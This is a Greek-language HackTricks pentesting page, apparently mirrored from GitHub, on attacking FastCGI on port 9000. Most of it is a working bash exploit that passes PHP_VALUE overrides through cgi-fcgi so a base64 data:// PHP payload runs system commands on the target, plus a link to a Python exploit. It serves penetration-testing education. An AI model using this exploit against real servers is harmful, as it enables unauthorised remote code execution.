mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
38 lines
1.4 KiB
Markdown
38 lines
1.4 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
# Βασικές Πληροφορίες
|
||
|
||
Αν θέλετε να **μάθετε τι είναι το FastCGI** ελέγξτε την παρακάτω σελίδα:
|
||
|
||
{{#ref}}
|
||
pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
|
||
{{#endref}}
|
||
|
||
Από προεπιλογή, το **FastCGI** τρέχει σε **θύρα** **9000** και δεν αναγνωρίζεται από το nmap. **Συνήθως**, το FastCGI ακούει μόνο σε **localhost**.
|
||
|
||
# RCE
|
||
|
||
Είναι αρκετά εύκολο να κάνετε το FastCGI να εκτελεί αυθαίρετο κώδικα:
|
||
```bash
|
||
#!/bin/bash
|
||
|
||
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
|
||
FILENAMES="/var/www/public/index.php" # Exisiting file path
|
||
|
||
HOST=$1
|
||
B64=$(echo "$PAYLOAD"|base64)
|
||
|
||
for FN in $FILENAMES; do
|
||
OUTPUT=$(mktemp)
|
||
env -i \
|
||
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
|
||
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
|
||
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
|
||
|
||
cat $OUTPUT
|
||
done
|
||
```
|
||
ή μπορείτε επίσης να χρησιμοποιήσετε το παρακάτω σενάριο python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|